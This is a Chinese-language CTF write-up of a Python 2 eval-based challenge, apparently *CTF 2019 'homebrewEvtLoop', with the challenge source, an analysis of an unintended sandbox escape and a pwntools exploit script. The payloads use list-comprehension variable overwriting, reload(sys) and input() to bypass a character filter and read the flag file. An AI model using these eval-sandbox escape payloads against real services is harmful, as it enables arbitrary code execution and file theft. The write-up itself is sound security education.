文章首发于安全客:https://www.anquanke.com/post/id/177596
先放上官方预期的解法:https://github.com/sixstars/starctf2019/tree/master/misc-homebrewEvtLoop
赛后一个非预期解法,更体现了python代码的魅力,下面是分析,如有错误,欢迎师傅们斧正

#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
    # flag of stage 1
    return '*ctf{[0-9a-zA-Z_[\]]+}'

def flag2():
    ret = ''
    # flag of stage 2
    # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
    return ret

def switch_safe_mode_factory():
    ctx = {'io_pair': [None, None]}
    def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
    return __wrapper

def PoW():
    #return
    while True:
        a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
        print 'hashlib.sha1(input).hexdigest() == "%s"' % a
        print '>',
        input = raw_input()
        if hashlib.sha1(input).hexdigest()[:4] == a:
            break
        print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
    if a <= 1: return 1
    return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
    global session
    session['log'] = flag2()
    return 'done'

def ping_handler(args):
    return 'pong'

def fib_handler(args):
    a = int(args[0])
    if a > 5 or a < 0: return 'out of range'
    return str(fib(a))

if __name__ == '__main__':
    session = {}
    session['log'] = flag()
    switch_safe_mode = switch_safe_mode_factory()
    switch_safe_mode_factory = None
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

    while True:
        PoW()
        print '$',
        event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
        switch_safe_mode()
        if event == 'exit': break

        for c in event:
            if c not in valid_event_chars:
                print "invalid request"
                exit(-1)

        event, args = event.split('114514')
        args = args.split('114514')

        try:
            handler = eval(event)
            print handler(args)
        #except Exception, e:
        #    print 'exception:', str(e)
        except:
            print 'exception'

先上exp

[[reload][0]for[args]in[[sys]]][0]114514x
[[input][0]for[args]in[[session]]][0]114514x

刚拿到题目,就是2019-ddctf的升级版homebrew event loop可是这里并没有有用的函数。
刚看到exp,可能有点不理解,下面一步一步分析
image.png
image.png
题目限制了输入只能是大小写字母加数字加_[],这里我们得到reload是一个reload函数,先不解释为什么要用reload,后面分析之后就会一目了然。
先解释一下为什么要用for[args]in[[sys]],这里用到了大家熟知的列表生成器。
参考:列表生成式

>>> [x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]

逐个取出为x 然后用x*x作用一遍之后生成新的list

可能有人会问?这里args可以换成别的字符吗?按道理换成别的字符也是可以的,但是这道题目不行,需要对应下面那条语句: print handler(args)

image.png
这里可能又会问,这一条语句跟上面有啥关系?先来一个demo

>>> a = "Decade"
>>> b = [{'log':'FLAG'}]
>>> for a in b:
...     pass
... 
>>> a
{'log': 'FLAG'}

一针见血,这里a竟然被覆盖了。所以上面不能把args换成别的字符,原因就在于此。可能又会有人问,这一句的作用是为啥?就算是覆盖了,上面已经通过列表生成器重载了sys,然而神奇的是这里并没有。

>>> def aaa(c):
...     print c
... 
>>> import sys
>>> args="sss"
>>> d = eval('[[aaa][0]for[args]in[[sys]]][0]')
>>> d
<function aaa at 0x7f501cc0d500>
>>> args
<module 'sys' (built-in)>
>>> d(args)
<module 'sys' (built-in)>
>>> eval('[[aaa][0]for[args]in[[sys]]][0]')
<function aaa at 0x7f501cc0d500>

可以看到这里eval之后得到是aaa函数,这里并没有重载,[reloadfor[args]in[[sys]]][0] 这一整句的目的既为了得到reload函数,又为了覆盖掉args,然后通过 print handler(args) 达到重载的目的。回到最先的问题,这里用reload,是为了绕过空格,很容易想到mysql注入的时候通过(xx)来绕过空格的情景,于是通过 [inputfor[args]in[[session]]][0]114514x拿到flag
image.png
image.png

from pwn import *
import hashlib
import time

def check(p):
    s = p.recvuntil('"')
    s = p.recvuntil('"')
    s = s[0:-1]
    p.recvuntil('> ')
    for i in range(0x100):
        for j in range(0x100):
            t = chr(i) + chr(j)
            if hashlib.sha1(t).hexdigest().startswith(s):
                p.sendline(t)
                #print(t.encode('hex'))
                return

context.log_level = 'error'
payload0 = '[[reload][0]for[args]in[[sys]]][0]114514x'
payload1 = '[[input][0]for[args]in[[session]]][0]114514x'
payload2 = 'load_flag_handler114514x'
payload3 = '[[input][0]for[args]in[[session]]][0]114514x'

p = remote('34.92.121.149','54321')
check(p)
print('check1 ok!')
time.sleep(0.5)
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload0)
time.sleep(0.5)
p.recvline()
check(p)
print('check2 ok!')
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload1)
time.sleep(0.5)
print(p.recv())

升级版的那道题同样可以直接出flag,这里可以发现上面我们其实达到了变量覆盖的效果,那么这里我们同样继续覆盖,这里恰好使用了raw_input,翻翻文档发现

def input(prompt): 
    return (eval(raw_input(prompt)))

这里我们可以直接把raw_input覆盖成input,就完全可以不用管waf了,下面直接上payload

[[reload][0]for[args]in[[sys]]][0]114514x   //多轮输入
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514   //覆盖pow、raw_input
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]   //覆盖session,返回的是[[str]for[args]in[[session]]][0][0]114514,最后再eval一次,最终得到flag

7.png